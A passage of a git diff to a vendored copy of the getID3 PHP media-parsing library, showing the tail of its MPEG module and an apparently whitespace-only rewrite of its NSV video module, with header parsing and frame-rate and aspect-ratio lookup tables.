$info['mpeg']['packed_elementary_streams'][$PackedElementaryStream['stream_type']][$PackedElementaryStream['stream_id']][] = $PackedElementaryStream; +*/ + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_temp->info = $info; + $getid3_mp3 = new getid3_mp3($getid3_temp); + for ($i = 0; $i <= 7; $i++) { + // some files have the MPEG-audio header 8 bytes after the end of the $00 $00 $01 $C0 signature, some have it up to 13 bytes (or more?) after + // I have no idea why or what the difference is, so this is a stupid hack. + // If anybody has any better idea of what's going on, please let me know - info@getid3.org + $getid3_temp->info = $info; // only overwrite real data if valid header found +//echo 'audio at? '.($MPEGstreamBaseOffset + $StartCodeOffset + 4 + 8 + $i).'
                              '; + if ($getid3_mp3->decodeMPEGaudioHeader($MPEGstreamBaseOffset + $StartCodeOffset + 4 + 8 + $i, $getid3_temp->info, false)) { +//echo 'yes!
                              '; + $info = $getid3_temp->info; + $info['audio']['bitrate_mode'] = 'cbr'; + $info['audio']['lossless'] = false; + break; + } + } + unset($getid3_temp, $getid3_mp3); + break; + + case 0xBC: // Program Stream Map + case 0xBD: // Private stream 1 (non MPEG audio, subpictures) + case 0xBE: // Padding stream + case 0xBF: // Private stream 2 (navigation data) + case 0xF0: // ECM stream + case 0xF1: // EMM stream + case 0xF2: // DSM-CC stream + case 0xF3: // ISO/IEC_13522_stream + case 0xF4: // ITU-I Rec. H.222.1 type A + case 0xF5: // ITU-I Rec. H.222.1 type B + case 0xF6: // ITU-I Rec. H.222.1 type C + case 0xF7: // ITU-I Rec. H.222.1 type D + case 0xF8: // ITU-I Rec. H.222.1 type E + case 0xF9: // ancilliary stream + case 0xFA: // ISO/IEC 14496-1 SL-packtized stream + case 0xFB: // ISO/IEC 14496-1 FlexMux stream + case 0xFC: // metadata stream + case 0xFD: // extended stream ID + case 0xFE: // reserved data stream + case 0xFF: // program stream directory + // ignore + break; + + default: + // ignore + break; + } + } while (true); + + + +// // Temporary hack to account for interleaving overhead: +// if (!empty($info['video']['bitrate']) && !empty($info['audio']['bitrate'])) { +// $info['playtime_seconds'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($info['video']['bitrate'] + $info['audio']['bitrate']); +// +// // Interleaved MPEG audio/video files have a certain amount of overhead that varies +// // by both video and audio bitrates, and not in any sensible, linear/logarithmic pattern +// // Use interpolated lookup tables to approximately guess how much is overhead, because +// // playtime is calculated as filesize / total-bitrate +// $info['playtime_seconds'] *= self::systemNonOverheadPercentage($info['video']['bitrate'], $info['audio']['bitrate']); +// +// //switch ($info['video']['bitrate']) { +// // case('5000000'): +// // $multiplier = 0.93292642112380355828048824319889; +// // break; +// // case('5500000'): +// // $multiplier = 0.93582895375200989965359777343219; +// // break; +// // case('6000000'): +// // $multiplier = 0.93796247714820932532911373859139; +// // break; +// // case('7000000'): +// // $multiplier = 0.9413264083635103463010117778776; +// // break; +// // default: +// // $multiplier = 1; +// // break; +// //} +// //$info['playtime_seconds'] *= $multiplier; +// //$this->warning('Interleaved MPEG audio/video playtime may be inaccurate. With current hack should be within a few seconds of accurate. Report to info@getid3.org if off by more than 10 seconds.'); +// if ($info['video']['bitrate'] < 50000) { +// $this->warning('Interleaved MPEG audio/video playtime may be slightly inaccurate for video bitrates below 100kbps. Except in extreme low-bitrate situations, error should be less than 1%. Report to info@getid3.org if greater than this.'); +// } +// } +// +/* +$time_prev = 0; +$byte_prev = 0; +$vbr_bitrates = array(); +foreach ($info['mpeg']['group_of_pictures'] as $gopkey => $gopdata) { + $time_this = ($gopdata['time_code_hours'] * 3600) + ($gopdata['time_code_minutes'] * 60) + $gopdata['time_code_seconds'] + ($gopdata['time_code_seconds'] / 30); + $byte_this = $gopdata['byte_offset']; + if ($gopkey > 0) { + if ($time_this > $time_prev) { + $bytedelta = $byte_this - $byte_prev; + $timedelta = $time_this - $time_prev; + $this_bitrate = ($bytedelta * 8) / $timedelta; +echo $gopkey.': ('.number_format($time_prev, 2).'-'.number_format($time_this, 2).') '.number_format($bytedelta).' bytes over '.number_format($timedelta, 3).' seconds = '.number_format($this_bitrate / 1000, 2).'kbps
                              '; + $time_prev = $time_this; + $byte_prev = $byte_this; + $vbr_bitrates[] = $this_bitrate; + } + } +} +echo 'average_File_bitrate = '.number_format(array_sum($vbr_bitrates) / count($vbr_bitrates), 1).'
                              '; +*/ +//echo '
                              '.print_r($FramesByGOP, true).'
                              '; + if (!empty($info['mpeg']['video']['bitrate_mode']) && ($info['mpeg']['video']['bitrate_mode'] == 'vbr')) { + $last_GOP_id = max(array_keys($FramesByGOP)); + $frames_in_last_GOP = count($FramesByGOP[$last_GOP_id]); + $gopdata = &$info['mpeg']['group_of_pictures'][$last_GOP_id]; + $info['playtime_seconds'] = ($gopdata['time_code_hours'] * 3600) + ($gopdata['time_code_minutes'] * 60) + $gopdata['time_code_seconds'] + (($gopdata['time_code_pictures'] + $frames_in_last_GOP + 1) / $info['mpeg']['video']['frame_rate']); + if (!isset($info['video']['bitrate'])) { + $overall_bitrate = ($info['avdataend'] - $info['avdataoffset']) * 8 / $info['playtime_seconds']; + $info['video']['bitrate'] = $overall_bitrate - (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0); + } + unset($info['mpeg']['group_of_pictures']); + } + + return true; + } + + /** + * @param string $bitstream + * @param int $bitstreamoffset + * @param int $bits_to_read + * @param bool $return_singlebit_as_boolean + * + * @return bool|int + */ + private function readBitsFromStream(&$bitstream, &$bitstreamoffset, $bits_to_read, $return_singlebit_as_boolean=true) { + $return = bindec(substr($bitstream, $bitstreamoffset, $bits_to_read)); + $bitstreamoffset += $bits_to_read; + if (($bits_to_read == 1) && $return_singlebit_as_boolean) { + $return = (bool) $return; + } + return $return; + } + + /** + * @param int $VideoBitrate + * @param int $AudioBitrate + * + * @return float|int + */ + public static function systemNonOverheadPercentage($VideoBitrate, $AudioBitrate) { + $OverheadPercentage = 0; + + $AudioBitrate = max(min($AudioBitrate / 1000, 384), 32); // limit to range of 32kbps - 384kbps (should be only legal bitrates, but maybe VBR?) + $VideoBitrate = max(min($VideoBitrate / 1000, 10000), 10); // limit to range of 10kbps - 10Mbps (beyond that curves flatten anyways, no big loss) + + + $OverheadMultiplierByBitrate = array(); + //OMBB[audiobitrate] = array(video-10kbps, video-100kbps, video-1000kbps, video-10000kbps) + $OverheadMultiplierByBitrate[32] = array(0, 0.9676287944368530, 0.9802276264360310, 0.9844916183244460, 0.9852821845179940); + $OverheadMultiplierByBitrate[48] = array(0, 0.9779100089209830, 0.9787770035359320, 0.9846738664076130, 0.9852683013799960); + $OverheadMultiplierByBitrate[56] = array(0, 0.9731249855367600, 0.9776624308938040, 0.9832606361852130, 0.9843922606633340); + $OverheadMultiplierByBitrate[64] = array(0, 0.9755642683275760, 0.9795256705493390, 0.9836573009193170, 0.9851122539404470); + $OverheadMultiplierByBitrate[96] = array(0, 0.9788025247497290, 0.9798553314148700, 0.9822956869792560, 0.9834815119124690); + $OverheadMultiplierByBitrate[128] = array(0, 0.9816940050925480, 0.9821675936072120, 0.9829756927470870, 0.9839763420152050); + $OverheadMultiplierByBitrate[160] = array(0, 0.9825894094561180, 0.9820913399073960, 0.9823907143253970, 0.9832821783651570); + $OverheadMultiplierByBitrate[192] = array(0, 0.9832038474336260, 0.9825731694317960, 0.9821028622712400, 0.9828262076447620); + $OverheadMultiplierByBitrate[224] = array(0, 0.9836516298538770, 0.9824718601823890, 0.9818302180625380, 0.9823735101626480); + $OverheadMultiplierByBitrate[256] = array(0, 0.9845863022094920, 0.9837229411967540, 0.9824521662210830, 0.9828645172100790); + $OverheadMultiplierByBitrate[320] = array(0, 0.9849565280263180, 0.9837683142805110, 0.9822885275960400, 0.9824424382727190); + $OverheadMultiplierByBitrate[384] = array(0, 0.9856094774357600, 0.9844573394432720, 0.9825970399837330, 0.9824673808303890); + + $BitrateToUseMin = 32; + $BitrateToUseMax = 32; + $previousBitrate = 32; + foreach ($OverheadMultiplierByBitrate as $key => $value) { + if ($AudioBitrate >= $previousBitrate) { + $BitrateToUseMin = $previousBitrate; + } + if ($AudioBitrate < $key) { + $BitrateToUseMax = $key; + break; + } + $previousBitrate = $key; + } + $FactorA = ($BitrateToUseMax - $AudioBitrate) / ($BitrateToUseMax - $BitrateToUseMin); + + $VideoBitrateLog10 = log10($VideoBitrate); + $VideoFactorMin1 = $OverheadMultiplierByBitrate[$BitrateToUseMin][floor($VideoBitrateLog10)]; + $VideoFactorMin2 = $OverheadMultiplierByBitrate[$BitrateToUseMax][floor($VideoBitrateLog10)]; + $VideoFactorMax1 = $OverheadMultiplierByBitrate[$BitrateToUseMin][ceil($VideoBitrateLog10)]; + $VideoFactorMax2 = $OverheadMultiplierByBitrate[$BitrateToUseMax][ceil($VideoBitrateLog10)]; + $FactorV = $VideoBitrateLog10 - floor($VideoBitrateLog10); + + $OverheadPercentage = $VideoFactorMin1 * $FactorA * $FactorV; + $OverheadPercentage += $VideoFactorMin2 * (1 - $FactorA) * $FactorV; + $OverheadPercentage += $VideoFactorMax1 * $FactorA * (1 - $FactorV); + $OverheadPercentage += $VideoFactorMax2 * (1 - $FactorA) * (1 - $FactorV); + + return $OverheadPercentage; + } + + /** + * @param int $rawframerate + * + * @return float + */ + public static function videoFramerateLookup($rawframerate) { + $lookup = array(0, 23.976, 24, 25, 29.97, 30, 50, 59.94, 60); + return (float) (isset($lookup[$rawframerate]) ? $lookup[$rawframerate] : 0); + } + + /** + * @param int $rawaspectratio + * @param int $mpeg_version + * @param int $width + * @param int $height + * + * @return float + */ + public static function videoAspectRatioLookup($rawaspectratio, $mpeg_version=1, $width=0, $height=0) { + $lookup = array( + 1 => array(0, 1, 0.6735, 0.7031, 0.7615, 0.8055, 0.8437, 0.8935, 0.9157, 0.9815, 1.0255, 1.0695, 1.0950, 1.1575, 1.2015, 0), + 2 => array(0, 1, 1.3333, 1.7778, 2.2100, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0), + ); + $ratio = (float) (isset($lookup[$mpeg_version][$rawaspectratio]) ? $lookup[$mpeg_version][$rawaspectratio] : 0); + if ($mpeg_version == 2 && $ratio != 1) { + // Calculate pixel aspect ratio from MPEG-2 display aspect ratio + $ratio = $ratio * $height / $width; + } + return $ratio; + } + + /** + * @param int $rawaspectratio + * @param int $mpeg_version + * + * @return string + */ + public static function videoAspectRatioTextLookup($rawaspectratio, $mpeg_version=1) { + $lookup = array( + 1 => array('forbidden', 'square pixels', '0.6735', '16:9, 625 line, PAL', '0.7615', '0.8055', '16:9, 525 line, NTSC', '0.8935', '4:3, 625 line, PAL, CCIR601', '0.9815', '1.0255', '1.0695', '4:3, 525 line, NTSC, CCIR601', '1.1575', '1.2015', 'reserved'), + 2 => array('forbidden', 'square pixels', '4:3', '16:9', '2.21:1', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved'), // http://dvd.sourceforge.net/dvdinfo/mpeghdrs.html + ); + return (isset($lookup[$mpeg_version][$rawaspectratio]) ? $lookup[$mpeg_version][$rawaspectratio] : ''); + } + + /** + * @param int $video_format + * + * @return string + */ + public static function videoFormatTextLookup($video_format) { + // ISO/IEC 13818-2, section 6.3.6, Table 6-6. Meaning of video_format + $lookup = array('component', 'PAL', 'NTSC', 'SECAM', 'MAC', 'Unspecified video format', 'reserved(6)', 'reserved(7)'); + return (isset($lookup[$video_format]) ? $lookup[$video_format] : ''); + } + + /** + * @param int $scalable_mode + * + * @return string + */ + public static function scalableModeTextLookup($scalable_mode) { + // ISO/IEC 13818-2, section 6.3.8, Table 6-10. Definition of scalable_mode + $lookup = array('data partitioning', 'spatial scalability', 'SNR scalability', 'temporal scalability'); + return (isset($lookup[$scalable_mode]) ? $lookup[$scalable_mode] : ''); + } + + /** + * @param int $picture_structure + * + * @return string + */ + public static function pictureStructureTextLookup($picture_structure) { + // ISO/IEC 13818-2, section 6.3.11, Table 6-14 Meaning of picture_structure + $lookup = array('reserved', 'Top Field', 'Bottom Field', 'Frame picture'); + return (isset($lookup[$picture_structure]) ? $lookup[$picture_structure] : ''); + } + + /** + * @param int $chroma_format + * + * @return string + */ + public static function chromaFormatTextLookup($chroma_format) { + // ISO/IEC 13818-2, section 6.3.11, Table 6-14 Meaning of picture_structure + $lookup = array('reserved', '4:2:0', '4:2:2', '4:4:4'); + return (isset($lookup[$chroma_format]) ? $lookup[$chroma_format] : ''); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio-video.nsv.php b/vendor/james-heinrich/getid3/getid3/module.audio-video.nsv.php index 80d7508c93..043cdfc643 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio-video.nsv.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio-video.nsv.php @@ -1,243 +1,243 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.nsv.php // -// module for analyzing Nullsoft NSV files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_nsv extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $NSVheader = $this->fread(4); - - switch ($NSVheader) { - case 'NSVs': - if ($this->getNSVsHeaderFilepointer(0)) { - $info['fileformat'] = 'nsv'; - $info['audio']['dataformat'] = 'nsv'; - $info['video']['dataformat'] = 'nsv'; - $info['audio']['lossless'] = false; - $info['video']['lossless'] = false; - } - break; - - case 'NSVf': - if ($this->getNSVfHeaderFilepointer(0)) { - $info['fileformat'] = 'nsv'; - $info['audio']['dataformat'] = 'nsv'; - $info['video']['dataformat'] = 'nsv'; - $info['audio']['lossless'] = false; - $info['video']['lossless'] = false; - $this->getNSVsHeaderFilepointer($info['nsv']['NSVf']['header_length']); - } - break; - - default: - $this->error('Expecting "NSVs" or "NSVf" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($NSVheader).'"'); - return false; - } - - if (!isset($info['nsv']['NSVf'])) { - $this->warning('NSVf header not present - cannot calculate playtime or bitrate'); - } - - return true; - } - - /** - * @param int $fileoffset - * - * @return bool - */ - public function getNSVsHeaderFilepointer($fileoffset) { - $info = &$this->getid3->info; - $this->fseek($fileoffset); - $NSVsheader = $this->fread(28); - $offset = 0; - - $info['nsv']['NSVs']['identifier'] = substr($NSVsheader, $offset, 4); - $offset += 4; - - if ($info['nsv']['NSVs']['identifier'] != 'NSVs') { - $this->error('expected "NSVs" at offset ('.$fileoffset.'), found "'.$info['nsv']['NSVs']['identifier'].'" instead'); - unset($info['nsv']['NSVs']); - return false; - } - - $info['nsv']['NSVs']['offset'] = $fileoffset; - - $info['nsv']['NSVs']['video_codec'] = substr($NSVsheader, $offset, 4); - $offset += 4; - $info['nsv']['NSVs']['audio_codec'] = substr($NSVsheader, $offset, 4); - $offset += 4; - $info['nsv']['NSVs']['resolution_x'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 2)); - $offset += 2; - $info['nsv']['NSVs']['resolution_y'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 2)); - $offset += 2; - - $info['nsv']['NSVs']['framerate_index'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); - $offset += 1; - //$info['nsv']['NSVs']['unknown1b'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); - $offset += 1; - //$info['nsv']['NSVs']['unknown1c'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); - $offset += 1; - //$info['nsv']['NSVs']['unknown1d'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); - $offset += 1; - //$info['nsv']['NSVs']['unknown2a'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); - $offset += 1; - //$info['nsv']['NSVs']['unknown2b'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); - $offset += 1; - //$info['nsv']['NSVs']['unknown2c'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); - $offset += 1; - //$info['nsv']['NSVs']['unknown2d'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); - $offset += 1; - - switch ($info['nsv']['NSVs']['audio_codec']) { - case 'PCM ': - $info['nsv']['NSVs']['bits_channel'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); - $offset += 1; - $info['nsv']['NSVs']['channels'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); - $offset += 1; - $info['nsv']['NSVs']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 2)); - $offset += 2; - - $info['audio']['sample_rate'] = $info['nsv']['NSVs']['sample_rate']; - break; - - case 'MP3 ': - case 'NONE': - default: - //$info['nsv']['NSVs']['unknown3'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 4)); - $offset += 4; - break; - } - - $info['video']['resolution_x'] = $info['nsv']['NSVs']['resolution_x']; - $info['video']['resolution_y'] = $info['nsv']['NSVs']['resolution_y']; - $info['nsv']['NSVs']['frame_rate'] = $this->NSVframerateLookup($info['nsv']['NSVs']['framerate_index']); - $info['video']['frame_rate'] = $info['nsv']['NSVs']['frame_rate']; - $info['video']['bits_per_sample'] = 24; - $info['video']['pixel_aspect_ratio'] = (float) 1; - - return true; - } - - /** - * @param int $fileoffset - * @param bool $getTOCoffsets - * - * @return bool - */ - public function getNSVfHeaderFilepointer($fileoffset, $getTOCoffsets=false) { - $info = &$this->getid3->info; - $this->fseek($fileoffset); - $NSVfheader = $this->fread(28); - $offset = 0; - - $info['nsv']['NSVf']['identifier'] = substr($NSVfheader, $offset, 4); - $offset += 4; - - if ($info['nsv']['NSVf']['identifier'] != 'NSVf') { - $this->error('expected "NSVf" at offset ('.$fileoffset.'), found "'.$info['nsv']['NSVf']['identifier'].'" instead'); - unset($info['nsv']['NSVf']); - return false; - } - - $info['nsv']['NSVs']['offset'] = $fileoffset; - - $info['nsv']['NSVf']['header_length'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); - $offset += 4; - $info['nsv']['NSVf']['file_size'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); - $offset += 4; - - if ($info['nsv']['NSVf']['file_size'] > $info['avdataend']) { - $this->warning('truncated file - NSVf header indicates '.$info['nsv']['NSVf']['file_size'].' bytes, file actually '.$info['avdataend'].' bytes'); - } - - $info['nsv']['NSVf']['playtime_ms'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); - $offset += 4; - $info['nsv']['NSVf']['meta_size'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); - $offset += 4; - $info['nsv']['NSVf']['TOC_entries_1'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); - $offset += 4; - $info['nsv']['NSVf']['TOC_entries_2'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); - $offset += 4; - - if ($info['nsv']['NSVf']['playtime_ms'] == 0) { - $this->error('Corrupt NSV file: NSVf.playtime_ms == zero'); - return false; - } - - $NSVfheader .= $this->fread($info['nsv']['NSVf']['meta_size'] + (4 * $info['nsv']['NSVf']['TOC_entries_1']) + (4 * $info['nsv']['NSVf']['TOC_entries_2'])); - $NSVfheaderlength = strlen($NSVfheader); - $info['nsv']['NSVf']['metadata'] = substr($NSVfheader, $offset, $info['nsv']['NSVf']['meta_size']); - $offset += $info['nsv']['NSVf']['meta_size']; - - if ($getTOCoffsets) { - $TOCcounter = 0; - while ($TOCcounter < $info['nsv']['NSVf']['TOC_entries_1']) { - if ($TOCcounter < $info['nsv']['NSVf']['TOC_entries_1']) { - $info['nsv']['NSVf']['TOC_1'][$TOCcounter] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); - $offset += 4; - $TOCcounter++; - } - } - } - - if (trim($info['nsv']['NSVf']['metadata']) != '') { - $info['nsv']['NSVf']['metadata'] = str_replace('`', "\x01", $info['nsv']['NSVf']['metadata']); - $CommentPairArray = explode("\x01".' ', $info['nsv']['NSVf']['metadata']); - foreach ($CommentPairArray as $CommentPair) { - if (strstr($CommentPair, '='."\x01")) { - list($key, $value) = explode('='."\x01", $CommentPair, 2); - $info['nsv']['comments'][strtolower($key)][] = trim(str_replace("\x01", '', $value)); - } - } - } - - $info['playtime_seconds'] = $info['nsv']['NSVf']['playtime_ms'] / 1000; - $info['bitrate'] = ($info['nsv']['NSVf']['file_size'] * 8) / $info['playtime_seconds']; - - return true; - } - - /** - * @param int $framerateindex - * - * @return float|false - */ - public static function NSVframerateLookup($framerateindex) { - if ($framerateindex <= 127) { - return (float) $framerateindex; - } - static $NSVframerateLookup = array(); - if (empty($NSVframerateLookup)) { - $NSVframerateLookup[129] = 29.970; - $NSVframerateLookup[131] = 23.976; - $NSVframerateLookup[133] = 14.985; - $NSVframerateLookup[197] = 59.940; - $NSVframerateLookup[199] = 47.952; - } - return (isset($NSVframerateLookup[$framerateindex]) ? $NSVframerateLookup[$framerateindex] : false); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.nsv.php // +// module for analyzing Nullsoft NSV files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_nsv extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $NSVheader = $this->fread(4); + + switch ($NSVheader) { + case 'NSVs': + if ($this->getNSVsHeaderFilepointer(0)) { + $info['fileformat'] = 'nsv'; + $info['audio']['dataformat'] = 'nsv'; + $info['video']['dataformat'] = 'nsv'; + $info['audio']['lossless'] = false; + $info['video']['lossless'] = false; + } + break; + + case 'NSVf': + if ($this->getNSVfHeaderFilepointer(0)) { + $info['fileformat'] = 'nsv'; + $info['audio']['dataformat'] = 'nsv'; + $info['video']['dataformat'] = 'nsv'; + $info['audio']['lossless'] = false; + $info['video']['lossless'] = false; + $this->getNSVsHeaderFilepointer($info['nsv']['NSVf']['header_length']); + } + break; + + default: + $this->error('Expecting "NSVs" or "NSVf" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($NSVheader).'"'); + return false; + } + + if (!isset($info['nsv']['NSVf'])) { + $this->warning('NSVf header not present - cannot calculate playtime or bitrate'); + } + + return true; + } + + /** + * @param int $fileoffset + * + * @return bool + */ + public function getNSVsHeaderFilepointer($fileoffset) { + $info = &$this->getid3->info; + $this->fseek($fileoffset); + $NSVsheader = $this->fread(28); + $offset = 0; + + $info['nsv']['NSVs']['identifier'] = substr($NSVsheader, $offset, 4); + $offset += 4; + + if ($info['nsv']['NSVs']['identifier'] != 'NSVs') { + $this->error('expected "NSVs" at offset ('.$fileoffset.'), found "'.$info['nsv']['NSVs']['identifier'].'" instead'); + unset($info['nsv']['NSVs']); + return false; + } + + $info['nsv']['NSVs']['offset'] = $fileoffset; + + $info['nsv']['NSVs']['video_codec'] = substr($NSVsheader, $offset, 4); + $offset += 4; + $info['nsv']['NSVs']['audio_codec'] = substr($NSVsheader, $offset, 4); + $offset += 4; + $info['nsv']['NSVs']['resolution_x'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 2)); + $offset += 2; + $info['nsv']['NSVs']['resolution_y'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 2)); + $offset += 2; + + $info['nsv']['NSVs']['framerate_index'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); + $offset += 1; + //$info['nsv']['NSVs']['unknown1b'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); + $offset += 1; + //$info['nsv']['NSVs']['unknown1c'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); + $offset += 1; + //$info['nsv']['NSVs']['unknown1d'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); + $offset += 1; + //$info['nsv']['NSVs']['unknown2a'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); + $offset += 1; + //$info['nsv']['NSVs']['unknown2b'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); + $offset += 1; + //$info['nsv']['NSVs']['unknown2c'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); + $offset += 1; + //$info['nsv']['NSVs']['unknown2d'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); + $offset += 1; + + switch ($info['nsv']['NSVs']['audio_codec']) { + case 'PCM ': + $info['nsv']['NSVs']['bits_channel'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); + $offset += 1; + $info['nsv']['NSVs']['channels'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 1)); + $offset += 1; + $info['nsv']['NSVs']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 2)); + $offset += 2; + + $info['audio']['sample_rate'] = $info['nsv']['NSVs']['sample_rate']; + break; + + case 'MP3 ': + case 'NONE': + default: + //$info['nsv']['NSVs']['unknown3'] = getid3_lib::LittleEndian2Int(substr($NSVsheader, $offset, 4)); + $offset += 4; + break; + } + + $info['video']['resolution_x'] = $info['nsv']['NSVs']['resolution_x']; + $info['video']['resolution_y'] = $info['nsv']['NSVs']['resolution_y']; + $info['nsv']['NSVs']['frame_rate'] = $this->NSVframerateLookup($info['nsv']['NSVs']['framerate_index']); + $info['video']['frame_rate'] = $info['nsv']['NSVs']['frame_rate']; + $info['video']['bits_per_sample'] = 24; + $info['video']['pixel_aspect_ratio'] = (float) 1; + + return true; + } + + /** + * @param int $fileoffset + * @param bool $getTOCoffsets + * + * @return bool + */ + public function getNSVfHeaderFilepointer($fileoffset, $getTOCoffsets=false) { + $info = &$this->getid3->info; + $this->fseek($fileoffset); + $NSVfheader = $this->fread(28); + $offset = 0; + + $info['nsv']['NSVf']['identifier'] = substr($NSVfheader, $offset, 4); + $offset += 4; + + if ($info['nsv']['NSVf']['identifier'] != 'NSVf') { + $this->error('expected "NSVf" at offset ('.$fileoffset.'), found "'.$info['nsv']['NSVf']['identifier'].'" instead'); + unset($info['nsv']['NSVf']); + return false; + } + + $info['nsv']['NSVs']['offset'] = $fileoffset; + + $info['nsv']['NSVf']['header_length'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); + $offset += 4; + $info['nsv']['NSVf']['file_size'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); + $offset += 4; + + if ($info['nsv']['NSVf']['file_size'] > $info['avdataend']) { + $this->warning('truncated file - NSVf header indicates '.$info['nsv']['NSVf']['file_size'].' bytes, file actually '.$info['avdataend'].' bytes'); + } + + $info['nsv']['NSVf']['playtime_ms'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); + $offset += 4; + $info['nsv']['NSVf']['meta_size'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); + $offset += 4; + $info['nsv']['NSVf']['TOC_entries_1'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); + $offset += 4; + $info['nsv']['NSVf']['TOC_entries_2'] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); + $offset += 4; + + if ($info['nsv']['NSVf']['playtime_ms'] == 0) { + $this->error('Corrupt NSV file: NSVf.playtime_ms == zero'); + return false; + } + + $NSVfheader .= $this->fread($info['nsv']['NSVf']['meta_size'] + (4 * $info['nsv']['NSVf']['TOC_entries_1']) + (4 * $info['nsv']['NSVf']['TOC_entries_2'])); + $NSVfheaderlength = strlen($NSVfheader); + $info['nsv']['NSVf']['metadata'] = substr($NSVfheader, $offset, $info['nsv']['NSVf']['meta_size']); + $offset += $info['nsv']['NSVf']['meta_size']; + + if ($getTOCoffsets) { + $TOCcounter = 0; + while ($TOCcounter < $info['nsv']['NSVf']['TOC_entries_1']) { + if ($TOCcounter < $info['nsv']['NSVf']['TOC_entries_1']) { + $info['nsv']['NSVf']['TOC_1'][$TOCcounter] = getid3_lib::LittleEndian2Int(substr($NSVfheader, $offset, 4)); + $offset += 4; + $TOCcounter++; + } + } + } + + if (trim($info['nsv']['NSVf']['metadata']) != '') { + $info['nsv']['NSVf']['metadata'] = str_replace('`', "\x01", $info['nsv']['NSVf']['metadata']); + $CommentPairArray = explode("\x01".' ', $info['nsv']['NSVf']['metadata']); + foreach ($CommentPairArray as $CommentPair) { + if (strstr($CommentPair, '='."\x01")) { + list($key, $value) = explode('='."\x01", $CommentPair, 2); + $info['nsv']['comments'][strtolower($key)][] = trim(str_replace("\x01", '', $value)); + } + } + } + + $info['playtime_seconds'] = $info['nsv']['NSVf']['playtime_ms'] / 1000; + $info['bitrate'] = ($info['nsv']['NSVf']['file_size'] * 8) / $info['playtime_seconds']; + + return true; + } + + /** + * @param int $framerateindex + * + * @return float|false + */ + public static function NSVframerateLookup($framerateindex) { + if ($framerateindex <= 127) { + return (float) $framerateindex; + } + static $NSVframerateLookup = array(); + if (empty($NSVframerateLookup)) { + $NSVframerateLookup[129] = 29.970; + $NSVframerateLookup[131] = 23.976; + $NSVframerateLookup[133] = 14.985; + $NSVframerateLookup[197] = 59.940; + $NSVframerateLookup[199] = 47.952; + } + return (isset($NSVframerateLookup[$framerateindex]) ? 